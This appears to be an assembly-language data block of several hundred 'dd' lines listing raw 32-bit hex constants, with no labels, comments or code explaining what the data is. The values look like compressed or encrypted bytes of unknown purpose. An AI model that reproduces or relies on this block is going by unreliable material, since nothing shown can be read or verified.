dd 8D4C24ABh, 792180F8h, 0F515AFC8h, 10F32601h, 0C3F408D4h
dd 9725A89Eh, 0E1300092h, 0EA65224Ah, 0C57D74B2h, 0A40A9D74h
dd 0A493DF4Dh, 389FC800h, 260F2309h, 8EB06A65h, 0D60090B9h
dd 0FE4054AFh, 7258C500h, 27C89239h, 0B998C125h, 0D4C95C46h
dd 2A00E2E3h, 93B60A57h, 0AFACFCh, 0FD199F8h, 8FAEF159h
dd 0CB133D03h, 0C0B2E8EFh, 7EC7C4Ah, 8E33B811h, 24E700D7h
dd 31029064h, 7B26F922h, 84E04858h, 8641302Bh, 0B4669F98h
dd 0AB0D190Eh, 8DD30062h, 0FD0133h, 0EDF4D456h, 9C1211A8h
dd 0AD0031E6h, 8B04FB9h, 7980274h, 38333BFEh, 9AE0DF35h
dd 42C1B604h, 7A0050FCh, 0DB1B300Fh, 0E8E81391h, 8CFA0008h
dd 0E6B9A66h, 0D28B572h, 500E9E3h, 76D58B43h, 0D2E670h
dd 58423B1Fh, 0E5949D0Ah, 64002A4Ah, 0E9FBB0D6h, 1D6E2E29h
dd 57FD0074h, 4AA72303h, 18DF7900h, 0ADED3386h, 755500BDh
dd 97F74EB1h, 0D4008A4Dh, 0ACD3A9A6h, 0E8E3D8h, 3C397C49h
dd 0BAA2AAF8h, 0C41D8328h, 0C77E8B1Dh, 72F98C00h, 3F49B2Eh
dd 6AB66ED5h, 1589DAC3h, 0DC86F905h, 7A014007h, 7EF0276Bh
dd 0E0E233B7h, 79A7342Eh, 626D0081h, 0DA45F95Fh, 0FD02F4BDh
dd 646B3C0Fh, 0D89BC09Eh, 20F1480Eh, 0CEF30D07h, 0ACB4D2E6h
dd 54271060h, 9824AB07h, 0EF504D6Ch, 7DD210h, 6BE628F2h
dd 569732E4h, 4B622600h, 0BA1F6138h, 0FAFE003Eh, 3920BB25h
dd 693D2E33h, 404A8063h, 0F1D4B1DDh, 58CE1F92h, 50B381AEh
dd 0E4B8C01Eh, 1B013933h, 0D750F65h, 65606935h, 0CFEB036Ch
dd 0E4DE7194h, 0BA244EF0h, 0B2550900h, 930457A7h, 89DC03D3h
dd 0FB90C48Bh, 3F661000h, 2DC62E30h, 0B52F0308h, 0AC48CC75h
dd 91C1A7C8h, 8AE61C76h, 902CBF00h, 36DC2FFh, 95EA001Dh
dd 0E7CF7156h, 783F2A31h, 5EF18007h, 0DF6270A1h, 8C521D1Fh
dd 6DC405Fh, 797B0CE7h, 0DB1D1500h, 0E220CB98h, 0E8CA0E8Dh
dd 39A04544h, 1CC7547Bh, 13DFD200h, 66EC1555h, 486CB009h
dd 0B8058CD5h, 0C0804327h, 0E6A2C15Ch, 19447009h, 0FAFC0097h
dd 0A182F8h, 436994F6h, 50355BB3h, 0E4ED4400h, 0FF76F0B1h
dd 0E6E100B8h, 19BFE004h, 0DC5CCA72h, 463F65h, 3BAB0CD0h
dd 73AEE371h, 0A705049Eh, 0A06D5912h, 300E6F8h, 0E4B6A31Fh
dd 0EE1CCF6Bh, 1E8100D0h, 9CE3B0D9h, 6A003228h, 0F70A359Dh
dd 70E90FF4h, 958324F6h, 226D015Ch, 0E034C6BBh, 6F0010F9h
dd 397961C8h, 7C2DE337h, 661B003Dh, 0B1EA4727h, 0E707A503h
dd 5BB20194h, 0B9224820h, 0FE140205h, 0C52B324h, 1E0E2868h
dd 80F10800h, 0FCC77954h, 214903Ah, 2477DFDDh, 0ECC0272Dh
dd 0D8B9481Bh, 281737ACh, 0A4B5400Ah, 7D52D981h, 0C435433Dh
dd 1AA064DAh, 42313CDAh, 209FC841h, 0C303B6Eh, 0DF6F3891h
dd 6EC80072h, 98ACBDCEh, 3600B596h, 5811611Ch, 17586EFh
dd 855B5F20h, 3092D3DDh, 0D208BCB0h, 0B2118B2h, 3502F4E9h
dd 0C0501327h, 47667D00h, 0A85FA1ACh, 3A440079h, 0BAFEE108h
dd 1B1F024Dh, 0FC1F9Ah, 5D5B8BCDh, 2EF03ADh, 54132B3Dh
dd 0B0603975h, 2A00C949h, 0A33A3E4Dh, 24307Ch, 0A070E85Eh
dd 93088583h, 2055C8CEh, 56C93274h, 0E98800F4h, 5F7AD6AEh
dd 100E861h, 869695B5h, 0C4DE3Ch, 36E40487h, 0A1DD9754h
dd 9BE31F09h, 305841BDh, 0ADC870h, 0FDC52C52h, 4F97F4FFh
dd 0C878EB00h, 5F7EA993h, 0F3CE073Dh, 27339ABFh, 1D0480F4h
dd 0B4006E7Ah, 0C35A52AEh, 1458CFh, 4F7406DAh, 3BE6A663h
dd 6F865912h, 0BCBB5C00h, 1F52FB22h, 81CC8060h, 0D6E95B10h
dd 6820802Ch, 51795EB4h, 0D1500B08h, 9020C58Dh, 0BD728357h
dd 744F9024h, 0B3C35D83h, 1AAAE0CEh, 0A9DF0011h, 7380C6E0h
dd 0F5004303h, 0D5ECA6C1h, 0EEBE341Bh, 62241F54h, 88037A82h
dd 8679B7E8h, 1E461900h, 0C99A158Dh, 0FBE900A1h, 0FC2D80EBh
dd 28028579h, 2AD301F8h, 5CA06163h, 0F7DB9C8h, 0A8F3606Eh
dd 4CFA6887h, 6F007E19h, 6BBF2F5Dh, 4D90CCh, 19E9A97Bh
dd 643EFEEFh, 17D29C58h, 6800208Fh, 0B3A1AD53h, 84650190h
dd 974C8CB6h, 5574F405h, 0AEB5F107h, 7D4042A9h, 1AEED9h
dd 0D226F337h, 0FA185D6h, 6CA02E04h, 0B0803514h, 4892372h
dd 39F59052h, 58E38057h, 0F30088B7h, 0C6BD42F4h, 48A12C84h
dd 0C300000Ah, 2D73E049h, 0CC05BCAAh, 3B580D89h, 5334A090h
dd 14FE0020h, 0D6D1412Fh, 0B407A31Ah, 15F075F9h, 0EFFB9110h
dd 9EC30730h, 0B0A90946h, 0CAFD2F9Bh, 0EB56939h, 0F3138018h
dd 5498C114h, 0D0009238h, 8B614B48h, 45D3BEh, 544F1F91h
dd 0CCC0501Eh, 94A26400h, 0B232245Ah, 0AC2C5868h, 768050h
dd 5EE95DDBh, 4E880CCBh, 6C274B0Eh, 100B20DEh, 192901h
dd 0AB946B52h, 124F2FAEh, 0E721300h, 3782C13Ch, 0DC183060h
dd 235C0F40h, 0E6D3F201h, 0D1B9251h, 688018BBh, 0D785F33Fh
dd 7324D167h, 0B79748AAh, 11DFC28h, 0E937B1ACh, 0F834F566h
dd 0F335DD8h, 0D0AF2072h, 0E105EB2h, 63FA8E22h, 0AE2DDB60h
dd 582ED8B9h, 5900CBC7h, 0FF66620Ah, 0E7E00012h, 139C1F70h
dd 9009A2Eh, 0F498672Ch, 5CB83D5Dh, 0B0085E9h, 8670B447h
dd 0C20035C7h, 0BA884FA4h, 0B3FC01Ch, 2B0A7BCh, 9580440Fh
dd 898BC891h, 0A18C5000h, 11472F42h, 7E680039h, 0B7BDA240h
dd 0F026E7Bh, 272B2904h, 9178601Ch, 1E44982Eh, 409D4B1Dh
dd 3AFEF5A8h, 1207532Bh, 0F7F83151h, 77C9E910h, 620B07A9h
dd 82AAF352h, 7CD8E332h, 0EF677C0Eh, 0FA9C8208h, 0D17860C6h
dd 4DCF01AEh, 4C07983Bh
dd 0E19C607Bh, 0A52A3006h, 1F107E12h, 7C5B2557h, 0CC3B9A00h
dd 11FB6505h, 4A324300h, 9CD9E8Dh, 0A3E09E2h, 10916CCAh
dd 20A2F17Ah, 8C00AC2Ah, 0C873F75h, 0E2A602F8h, 245E1F95h
dd 493080A2h, 0C9888F12h, 181A2C1Ch, 3E9DCFC0h, 93AFBAh
dd 0D99DD6Ch, 764E803Fh, 9A264700h, 97F3F016h, 88580049h
dd 0E8A5541h, 84B79F8h, 0D8924800h, 3D281376h, 1160EAB9h
dd 61309E31h, 8ABA1B07h, 9A30B148h, 536A17h, 6673497Bh
dd 0C586B9CBh, 91E13900h, 0E7E6705Dh, 0B4E000C2h, 0F64E632Fh
dd 2A00A6A3h, 0B1BF6F80h, 90EC7E49h, 6AE0034Dh, 85D543AAh
dd 51FFE188h, 246E624Ch, 0A600F838h, 6D748425h, 0ACB700EAh
dd 0ECC67D9h, 0DD0178C9h, 0DF701DAFh, 4389B05h, 1C398903h
dd 0EAC8E16Ah, 0FDEC115Fh, 203BDD00h, 6F281950h, 2CE07463h
dd 85C822FFh, 90AA1434h, 3D30AD30h, 0DF012C00h, 6D510267h
dd 0C3577CA0h, 21D52521h, 0B8A43900h, 0B363770Ah, 632F9009h
dd 8362185Fh, 2A187BC0h, 544D3800h, 103D2F6Eh, 0F87400A2h
dd 20B5C636h, 0AA182490h, 0B830697Fh, 0D7400CE4h, 1A612542h
dd 724DC701h, 8A0ABB69h, 803820ACh, 32AD61D8h, 0DBF848DEh
dd 0E5C00CA0h, 58A43F19h, 7B006998h, 0AC2ADF63h, 0B800A80Fh
dd 0E5040E0h, 0F0E3FFh, 0A72E7330h, 3D62D07Bh, 9963DD1Ch
dd 0A5FA00FEh, 0D90E37CFh, 84BC1D45h, 0F84CC03Bh, 5555BB6h
dd 6E5C7000h, 0BE92165Fh, 0B4000AAh, 6AD24965h, 3E00B37Fh
dd 289062Bh, 3685F05h, 3CCA63B0h, 4F801D75h, 0AF062B78h
dd 6918723h, 0A4BB00CAh, 266A19CEh, 0A90F2C7Eh, 0E0DC3603h
dd 64C41C66h, 0ECC89013h, 10BD009Fh, 0B12E7963h, 6F26B7B0h
dd 803E6FC9h, 0C00B7A66h, 0F3AF8C2Ah, 0ECF48D61h, 0C6C2853h
dd 0ED8F0184h, 4EC4F77Dh, 0C026C119h, 820054B5h, 0DFAD0E76h
dd 1F8DEBD4h, 4170BDD7h, 45D08F43h, 61ABE0D3h, 0A48AF00h
dd 23FA937Ch, 714316DDh, 0A624099Dh, 2BDA3100h, 35005AAAh
dd 0AD194122h, 5F8B5E31h, 0D5F04056h, 7CB27405h, 4DE0217h
dd 2D9910D0h, 9BCC00A3h, 2F47689Dh, 3D008AA1h, 238FAF7Ah
dd 1D5FFBE8h, 40927332h, 0F569374Ah, 0FD015B41h, 0A3832EB8h
dd 0F4F0C146h, 3E5FE36h, 51ECBCFh, 0C0F449BFh, 80F6434Bh
dd 0EDC22707h, 770D03Ah, 980D5Fh, 0B072F5D5h, 0C1CB1EF2h
dd 79B9CC00h, 2D4D8217h, 357D7Eh, 2CBC0AECh, 45D45BF4h
dd 761E4677h, 8809732h, 0A3A1176Bh, 0B8D2009Fh, 0F19354F4h
dd 3300BD0Ah, 275AD8CEh, 2EFBD455h, 179F2123h, 94610056h
dd 4F7B0ECFh, 260C090h, 0F8C921E8h, 0BC113EA8h, 0A92ECD07h
dd 9A002F08h, 4C27FD9Eh, 0AA122400h, 0A798E0F6h, 0BA9B1299h
dd 1BA00450h, 0C7B0C8D3h, 3D8A14Dh, 9F4B85DBh, 80E2B3D0h
dd 0F203BD8Ch, 2EFC005Ch, 3AFAEA20h, 1001AFF3h, 0C5509809h
dd 0BE43270h, 4359C1BBh, 70084623h, 41177974h, 511EFBA3h
dd 3E1C002Fh, 7C5BFAB9h, 896E00DEh, 0CC83B338h, 37753076h
dd 14E97400h, 16EAE5A5h, 568400D3h, 5C1B50C6h, 7B00076Ah
dd 797E730Eh, 76AE15h, 4B921089h, 484D617Dh, 3C0D8F1Fh
dd 0B1E8B2C7h, 2AC8D710h, 0B48D0C02h, 96E88151h, 5B82580Bh
dd 0BE8987F2h, 0E2EA4F70h, 7D7578h, 94CEB4C1h, 9C666F46h
dd 28D61400h, 6BBA909Eh, 0F34842h, 1BD0E200h, 0A7708156h
dd 73E72007h, 88C0108Fh, 0B053FCh, 0F7EF4CBBh, 0D20A8A24h
dd 0A4F92B12h, 0E0EE280Fh, 0D463A317h, 0D73701A6h, 1127960Fh
dd 90FCC0B2h, 6618C01h, 0CEA1A8EEh, 782E33E4h, 0D6B6011Ch
dd 0ED10BFB3h, 0EFC741Fh, 2B3B4E00h, 223CD414h, 1E040416h
dd 0E09E11AEh, 0B27AF360h, 3281A700h, 0CE67E252h, 43630369h
dd 85390E14h, 191C97D0h, 0AF7E030Eh, 283434h, 8C84A63Eh
dd 7A79525Dh, 80B56103h, 20BC10Fh, 0A50D005Ch, 5A00AF43h
dd 6C320799h, 38E1E7D7h, 0B304578Ah, 0C4C5DE37h, 0FA858045h
dd 1A002F92h, 69FFFD31h, 30C0C11Dh, 0E2B08F8Dh, 6D00024Dh
dd 7D57FA96h, 0B826629Fh, 596402BCh, 0A777768Bh, 2F962848h
dd 1521C309h, 414C00E3h, 0F68649F1h, 0EB24034Bh, 7B04B02Dh
dd 767490E0h, 9C80952Ah, 8F01A60Fh, 0F7D820B7h, 75F3CEh
dd 0AB47EC9Ch, 0C8E95184h, 0C9F033FCh, 0B3434E00h, 16CA5FFEh
dd 616E743Ah, 719F8088h, 6BE2F431h, 0DFB71D00h, 0F2A609A9h
dd 0E22057Dh, 0C3FD4B35h, 0CCC8DA4Ch, 520C57A7h, 52393804h
dd 13471D40h, 0D14147F0h, 0FC42E075h, 9700EECFh, 19E9BC16h
dd 0F3BAF9h, 99605120h, 3690E221h, 8E00D1F8h, 3E0C9E29h
dd 3FF37C7h, 0BFDB007h, 78F8AB39h, 10CEB174h, 5DF28002h
dd 5C2E71D6h, 28001103h, 0DC90EC5Eh, 9D01F037h, 7D91E724h
dd 0F3D0845Fh, 2C0B0001h, 4E281CE0h, 6E0094A4h, 74D03746h
dd 0E22548h, 93FB1ADEh, 0B9B7DB54h, 0A7441E1Fh, 946E1800h
dd 9F62FFh, 0BBC74D6Bh, 503AEF48h, 2E548E1Dh, 8FD97B40h
dd 2ECD2435h, 261EBC3Bh, 0E0A80360h, 0B9C3CE3Fh, 9C86E8D8h
dd 208C9A01h, 0F8A48EBBh, 0F5CA360h, 2E23067Fh, 901E67C7h
dd 1AB495A8h, 7D003E7Ah, 1863D18Ah, 0F8766Dh, 58866E21h
dd 0C3F6BB19h, 5570EB03h, 0BC1B2Ah, 0D25E3998h, 19C89AFDh
dd 0F2845701h, 4E8F8E2Bh, 0AD124C5h, 11A4FA21h, 9B7D00CCh
dd 7EDA3DFEh, 18811630h, 0A4D4ACh, 2D74465h, 2AAF2D3Eh
dd 0B6A60F00h, 0AEEF4D22h, 0F6590C23h, 0C1C2EB93h, 94CCEE07h
dd 52A0EA62h, 0E0C238C6h, 0F90C0027h, 0ADCB4CA8h, 0C50F3D5Ah
dd 805CA32Ah, 2875A1E0h, 5D6200A2h, 7F93A510h, 3603545Ah
dd 173E7B92h, 693490CAh, 0E9782Fh, 90EE646Fh, 666DAF3h
dd 8A0068E0h, 0E0501932h, 5FE52Bh, 53510C71h, 0A12E4F48h
dd 3DA7AA00h, 15D87C43h, 556A014Ch, 0A01B49C3h, 240170BCh
dd 8AC2903Dh, 0E9143176h, 7860CB00h, 0F8563DBh, 6671752Ch
dd 94CC0E0h, 1005DE4h, 6B34A7B6h, 7D4C82Bh, 3A79595Fh
dd 66D7E0C6h, 9C0301ABh, 16546021h, 0E6DCE823h, 0ECDD0031h
dd 19815587h, 64001C0Fh, 80136303h, 23E322h, 7A40AEE5h
dd 47B32B5Fh, 93C99A0Fh, 240E00ACh, 0FC502F8Ch, 64FE14h
dd 0AE451665h, 0B38EE461h, 523821Dh, 54C6DC00h, 2C92B59Dh
dd 0EE2016Ah, 4F607AEBh, 5C43C169h, 80484A38h, 0A1356253h
dd 29FCF8h, 8AAAF340h, 5F7F4E90h, 83003AB0h, 221C10E2h
dd 0B0C51247h, 7080A054h, 9FF800D2h, 20132E56h, 6E00AFBAh
dd 0D066C6F6h, 0EB77C11h, 0C2330EA1h, 60C09B4Eh, 75552589h
dd 0F20343EAh, 63FDF383h, 50ECB8D2h, 0AA1307E3h, 2F81C3h
dd 703B7324h, 6671F560h, 3D5BD03h, 0F0870AFCh, 18000D1Eh
dd 0E5DFBA98h, 283C5599h, 2450F396h, 2088BD4Dh, 354FEA8h
dd 53348361h, 47D8FA7Bh, 0EB01C10Bh, 0ACADF9FEh, 1840EA6Dh
dd 0F64C2963h, 54EB01BBh, 53414219h, 73FC24B9h, 0E11ECE26h
dd 76017716h, 0F4ACD0C7h, 0F789F8h, 556F2F18h, 0A40014Dh
dd 0E01AF306h, 2660670Fh, 17564E9h, 22E92EBh, 0BB708541h
dd 301231C3h, 0CACF205h, 0E91C61C0h, 70CD0055h, 26AFB92Eh
dd 14009603h, 0BCAB5135h, 4EF077h, 7B4CA920h, 0AD56BEB6h
dd 39531E0Fh, 214BA0D6h, 0F81A5065h, 99900B4h, 0E446D8C9h
dd 0DD000D33h, 4111CB67h, 709B65h, 0BBD16A9Ch, 8239EE61h
dd 322C4600h, 73FD6C2h
dd 98253C0Bh, 0E10C8900h, 58F9C14Ah, 0A6034D70h, 73CD8D51h
dd 6D49E05Dh, 7EAD0086h, 1062C9D3h, 7100C0D8h, 0E741E569h
dd 1850D02Ah, 0F0AEBF39h, 0A91EB2DCh, 76403E23h, 42B68D84h
dd 6B900E2h, 0F94CCEACh, 0D35C560Ch, 0A19100E2h, 129EEC4Eh
dd 0D1430001h, 97AD2049h, 8001BBD6h, 4674B02Fh, 0C7F4B67Ch
dd 0A2231E1Ch, 6601B8CBh, 0D179CD63h, 0B955C83Dh, 0F320A09h
dd 0BDFC1024h, 0FC654D80h, 8FF6981Ch, 0BF622D5Dh, 186069C1h
dd 4B034609h, 1112FF4Eh, 0C1A9097h, 0E9B5006Dh, 66E03AE1h
dd 0AE00CC98h, 625DA42h, 7FEE91h, 0A029FA6Ch, 98A9D575h
dd 33085Ch, 0F0E96A9Fh, 13EC6669h, 0BAE0A3E8h, 3CDBF90Eh
dd 0AC5291C0h, 73D74Ah, 0C775D4CAh, 9BE64B5Ch, 0F20A0800h
dd 5DEA966Ch, 4F40769h, 7BB49DAAh, 0CFF3045Fh, 15E56C0h
dd 3420E3F0h, 0C1B50007h, 370F6A47h, 5200925Bh, 0E6844F1Dh
dd 24D1F59Dh, 80447CFFh, 10F01CAEh, 0E43A3735h, 0E9F880DCh
dd 0E23A2CAAh, 89ED00B3h, 8D3F5052h, 0D300D1D6h, 0E37686E5h
dd 70EF3B6h, 0F24D4FD2h, 689980E6h, 82006D85h, 585F8894h
dd 0FDAC0B4h, 0E0D364C6h, 4EB32E81h, 2EE0D2D0h, 0FF0097D5h
dd 0A07ECCDCh, 7CE85AD1h, 0C533EF0h, 0C571E280h, 52B072A3h
dd 7FF74D0Eh, 1C4BE06Eh, 26D365A2h, 3E0B8FFh, 0DBE930B2h
dd 21E3C0B8h, 577D7C12h, 18334700h, 4DCCBFh, 584E7680h
dd 14F88CA5h, 80A0B9E6h, 0D412D6C9h, 1100F977h, 6C6F3004h
dd 8B6401D0h, 0C2C78A93h, 0D643F412h, 0EFB1F500h, 0F0BF46D7h
dd 0B8A1727Ah, 0B08C13E2h, 0C8D0045h, 0E15D0BA3h, 5827500h
dd 0A9163365h, 0AE9305C4h, 838E43D5h, 0E2F02EBCh, 0BD05A58Ah
dd 0B889D3Fh, 8E686280h, 10D8A05Ch, 59FA1C39h, 937C80BAh
dd 2CC3AD8h, 0D67F4B00h, 23F719A0h, 18B40097h, 26C79A4Ah
dd 0E02817B1h, 9922F0F3h, 44B30095h, 0C30D182Bh, 3C60C785h
dd 71DD6D48h, 74A500B7h, 9C1150D6h, 0F103D1D0h, 0F2BA39DAh
dd 4E1805C3h, 8366B5CAh, 0CB91A255h, 9405207Ch, 60D74200h
dd 0CEA72409h, 0F7DD242Ch, 1A8FBA24h, 0A0583D49h, 0AA186311h
dd 0A1114881h, 16F40979h, 5C01049Bh, 0EF4285h, 3CEA641h
dd 0C1576756h, 0B6B00982h, 3F1EF05Ah, 0AA40213Ch, 0B3DEF143h
dd 0C65503CDh, 7FBB9F14h, 4007F588h, 19DFC901h, 0F0AFE386h
dd 0E582E8h, 4C3B6A4h, 6D5D01F8h, 0A0B23C00h, 0FDCCE1FCh
dd 91E20038h, 69F41F13h, 0EC3B33CFh, 6328040h, 0B0442107h
dd 0F17FEDh, 0D90EEBA0h, 0C85BD8C1h, 64DEDD00h, 95CACD7Ah
dd 2D50003h, 47460BFEh, 33F67657h, 0ABDDC50Eh, 0DAE743AAh
dd 0C9B990E8h, 6D5900FDh, 51B50490h, 0DE003DE0h, 0CDED01DDh
dd 16630AEEh, 821578h, 84742EE5h, 0FF146781h, 1D94EDB2h
dd 1D9C9C14h, 0C80C9740h, 0F00BFD35h, 2ECBEA5Fh, 80302EBDh
dd 769EB31Ch, 0F0E9D1F7h, 0F0A0E434h, 0CD2CEF2Dh, 0FF80CC31h
dd 0EA46A73Ch, 17B5701Bh, 768D26h, 0C2918D4h, 5B00B16Ch
dd 37258C49h, 2824137Bh, 0BB4DE99h, 1B80C063h, 7EE7A700h
dd 200001ADh, 6EB25903h, 130BFF74h, 3F0A113h, 90831E3Eh
dd 7D76BB0h, 384C893Ch, 5C9AA667h, 9243969Fh, 0A8065217h
dd 1FB4A5F8h, 12355C5Fh, 2C8C40BAh, 0B9340C4Dh, 0AC6D2804h
dd 2C90018Fh, 5D94D0h, 8D58426Bh, 0C0C1247Dh, 692EAB04h
dd 84D05610h, 260D3198h, 8500E261h, 80C05E08h, 3F1315C8h
dd 5696F8C0h, 0FA9D1637h, 1E357F64h, 809199AAh, 3A83170Ch
dd 62008790h, 0B82BE94Ch, 7B816818h, 7D1B00EBh, 10F123ADh
dd 5519F3E7h, 19DEE19Ah, 2C6B20h, 0B4DBE05Fh, 0A7F60A80h
dd 6900BEE2h, 0B0E8C1CCh, 8FF43Dh, 118DD406h, 0EB32AA39h
dd 5B447101h, 4B3ED6DFh, 1B449F0h, 7BFA1730h, 0FF1DBC53h
dd 73DB880h, 7408092Ch, 0A5103040h, 0C170E1h, 70EF1C75h
dd 7DE44BE5h, 0AF0F3C74h, 8772C746h, 0C310127Eh, 7DD982A0h
dd 5B07291Dh, 9D70008Ch, 0D4E51056h, 2B99B000h, 49341442h
dd 5B6E0096h, 0ADB9A80Ah, 8900D4B3h, 826AA668h, 58136B0h
dd 21565170h, 226C803Fh, 7B038443h, 58F61E5Bh, 40D9F0D3h
dd 2D1B03BBh, 0E603E368h, 0FE76000h, 663A5E83h, 2A550065h
dd 532E4C36h, 8E00592Fh, 17D003A7h, 0BA7BEFh, 0E623412Bh
dd 0BDE032B7h, 360C8700h, 37F1D898h, 0FA1109A4h, 34237E30h
dd 93886C9Ah, 0E4004DEAh, 52F523B3h, 253ABCD1h, 70156FD4h
dd 0A06F5E1h, 17A6028h, 40991EDFh, 8F4833Ch, 51208618h
dd 54841D53h, 14812C7Bh, 3A1210ECh, 9A7C909Fh, 0E400E01Ah
dd 13DFB299h, 7CC8617h, 94AA9DB1h, 1EEE7093h, 0A90E7037h
dd 0C0C4043Eh, 270C7B83h, 0BFFC003Bh, 6DA2D28Ah, 7E0762EFh
dd 0C3C2BAABh, 515D0900h, 4AE70283h, 0D5F924E4h, 0CA069C53h
dd 89181Bh, 0FDD2F7F0h, 0BCB977F1h, 3D00547Ah, 0AD55F481h
dd 0E12F0FACh, 8B0B8029h, 2A80237Ch, 0EBD5F8F9h, 25785F00h
dd 54F70C30h, 0C5D90705h, 0E0E642E2h, 0A76E8BAh, 7E37FD1Eh
dd 0AA5D03C0h, 3F3FBE54h, 0BD74F4CFh, 40BC9200h, 5C07CEC1h
dd 3AC067B0h, 9B9A0DE0h, 20300E4Dh, 0F8008FAEh, 0CCAF6A37h
dd 7A9B239h, 0AB8A9791h, 66038460h, 6E0900A2h, 7D9ADC9Eh
dd 13039564h, 53BD1093h, 2A2FA1DAh, 16A4FD0h, 0EA9FA118h
dd 0E4AB15B3h, 4E002324h, 0E7AD0135h, 0D50855h, 0ED0D73DBh
dd 6A48575Bh, 1000C6F2h, 0FD2DCAFh, 0AACC0Ch, 0C3A3F0B1h
dd 0D1E29D67h, 0ACFAB800h, 61F4D65h, 0DBB8A8BEh, 752700E0h
dd 0B9540C83h, 8CC013Ah, 7B21D4h, 3DF271Eh, 0B0FAD306h
dd 0CB639E00h, 0E7FF9AF6h, 0EF0F0F88h, 0F022C1B5h, 0B8C4E47Eh
dd 0E108A800h, 0BB4EBD1h, 0B3C333AFh, 217F3908h, 56E1201Ch
dd 0C06650C0h, 2D1204h, 0D34B001h, 848F42D8h, 0D548BC02h
dd 4470D1AFh, 734F006Ch, 0DA990FFDh, 6AFA4CE0h, 0AD6408C6h
dd 7DB10120h, 0EEABD8FDh, 58C32B40h, 0BBD132C1h, 5307FA8h
dd 0EB9411E1h, 883B88DCh, 221C2103h, 8E2E6840h, 0FFF912h
dd 37C645EEh, 0BC98F14Eh, 0A0380718h, 0EEF80h, 0E709819Eh
dd 2FF4A165h, 7FA2803Ah, 7F6B21C0h, 0AAD683h, 0C308C7B9h
dd 2F6242D9h, 3AA9C260h, 98743D87h, 6339272Bh, 0D4BECC80h
dd 0CAE833A8h, 0D608000h, 1D28AE29h, 55D8C1B8h, 804DF790h
dd 1830E9F0h, 0AAFAEDh, 0C48BF10Ch, 13756B79h, 0D4C7C301h
dd 1F702F99h, 0EE6ABF8h, 83EEC1Ah, 0DD17801Fh, 0D20A7E96h
dd 0C02AB32Dh, 0CFAFC9h, 46437029h, 0DDD5A3FFh, 9601B800h
dd 0AE025DE9h, 0B0AC00A7h, 29462566h, 863F0862h, 4A3E00A9h
dd 0B23B68E3h, 0DA123061h, 0A7481A84h, 0FD46BA3Ch, 0B4580400h
dd 0D381645Bh, 0CBA400DEh, 37D4FE72h, 8001DD2h, 0AF2F090Dh
dd 1289668h, 0FA5F94A9h, 0F42A2EFEh, 400D2BDh, 0C89B9FCEh
dd 96967A7h, 51300E77h, 0EEA0048Eh, 0F4C3D604h, 0B28E3118h
dd 9032Eh, 0A182FF98h, 0CABF0584h, 0DDC23700h, 0B776C9A4h
dd 1213005Bh, 49EF43C7h, 0CB0079B8h, 7493180Fh, 0F0EE9860h
dd 0F2A1004Bh, 3071FA3Fh, 0C200EACEh, 0C199233Bh, 9C66C26h
dd 409A32FDh, 80A09787h, 63EBB828h, 0C989CA0Eh, 0A0554F05h
dd 4BD3B91Eh, 82450067h, 1BCE74E4h, 9100F49Ah, 94A32A60h
dd 7C441h, 38FAEE8Fh, 545C2C59h, 0D17DAA07h, 705066BFh
dd 0EFA0BEh, 0CA0BA5DBh
dd 36F414BCh, 0B8D44807h, 53705C78h, 0AA2EF8h, 59189565h
dd 96EAD1EEh, 0EC48B109h, 5D91004Ch, 1ED8ED3h, 0DC790D51h
dd 0FC77917Ah, 2500FE92h, 6AFD5ACBh, 0AC03320h, 0C260C13Ch
dd 1B710094h, 0E8640245h, 17008E7Ch, 7A2B7359h, 0CF677Fh
dd 0D7F0D222h, 0A562E59Eh, 98FF5A3Ah, 5D61860Ah, 0CC5700FEh
dd 0D43B4AA1h, 0E707E354h, 211768CBh, 9F7B4A0h, 2E760039h
dd 0EB54935h, 78005875h, 6387C6DEh, 584C81A6h, 9D0020F3h
dd 68EB25B6h, 1F007B9Eh, 72BE20B0h, 60DB491Eh, 6D66C0EDh
dd 0BD005CB8h, 0AA23B0Dh, 5E1A84h, 67886CEFh, 0CA160BFDh
dd 0F8970300h, 41334571h, 70463EB4h, 4023DF00h, 536951CEh
dd 2A31B61Fh, 81660DCBh, 43B5BC4Dh, 14B4ACF4h, 80A49DC7h
dd 9F1D4A0Ch, 2CA81FF0h, 4C1F3AF2h, 0C947BF59h, 4E109EF1h
dd 339FF03Eh, 0FEC8B372h, 0F78E01C8h, 2637B501h, 0F0AC0523h
dd 0B2D3CCh, 24E29550h, 0EFD96FB7h, 596A3600h, 4F676DE0h
dd 0EE9033AFh, 45E84878h, 39051247h, 0E45F0371h, 0F621A900h
dd 0B61B9F8h, 58F38C5Bh, 2520DC80h, 0B0032DCEh, 0D013CC6h
dd 8119D8F8h, 0C28901A3h, 85638B29h, 0ED64E05Dh, 9FC87905h
dd 0E442FF22h, 40C37F56h, 669904h, 0D2551B53h, 0B5F05C33h
dd 0C4023Fh, 6DFE78C8h, 64A35B37h, 0C65CB06Ah, 0DF01B01Ch
dd 50A12935h, 70C415F7h, 868101CEh, 0DE3067F2h, 0DA0CB52h
dd 3401F511h, 89D53C31h, 4E803E87h, 0FBD48CC1h, 2C3BE73Fh
dd 0DC480ADh, 0DCEDD3C5h, 0B8177C8Eh, 4E390047h, 0A631F0B5h
dd 92009ED5h, 7D333CABh, 71B746h, 3BCD156Bh, 37E07E91h
dd 9300B198h, 0F4F15559h, 38E4FD6Ah, 9D9CBA61h, 2BB600BDh
dd 72576CC9h, 0ED785500h, 92DBB2C0h, 0CCD73A61h, 13D04100h
dd 0F5323C82h, 35290E01h, 2DC6810Fh, 134047DCh, 99FF605h
dd 0AB000B0Bh, 79C012AEh, 5D27570Eh, 40C4137h, 0C2E07BA4h
dd 529C0046h, 185064FCh, 0C7010FCEh, 2A15D8EBh, 3881C1D6h
dd 7AD352F3h, 7CE5CC1Ah, 4361F001h, 5A7773C3h, 0DF2ECCh
dd 5DDAF108h, 3FE6B2BFh, 0F9184E00h, 0D57E6A43h, 192C1D48h
dd 0BCAAC028h, 50FD3A42h, 5A00E092h, 0F4490F68h, 0A13480F0h
dd 0D7F02490h, 0E87C009Bh, 0B37A8711h, 5507C073h, 8B88C7E2h
dd 1CE74E30h, 232501FCh, 59CAE5D5h, 0FBFFF4D2h, 1AF07DEEh
dd 0BF989F00h, 0E97BE14Bh, 0C9F51FB3h, 0BCEE89h, 0A79FF873h
dd 8790E7FAh, 24DB3400h, 50E2D549h, 43EEA2h, 4072F17Ch
dd 7F144BDCh, 823FF724h, 0F00B4500h, 133A02h, 165F2DC9h
dd 0D62C2379h, 7041A90h, 0C1A2BB42h, 70202D80h, 0E78A7CF6h
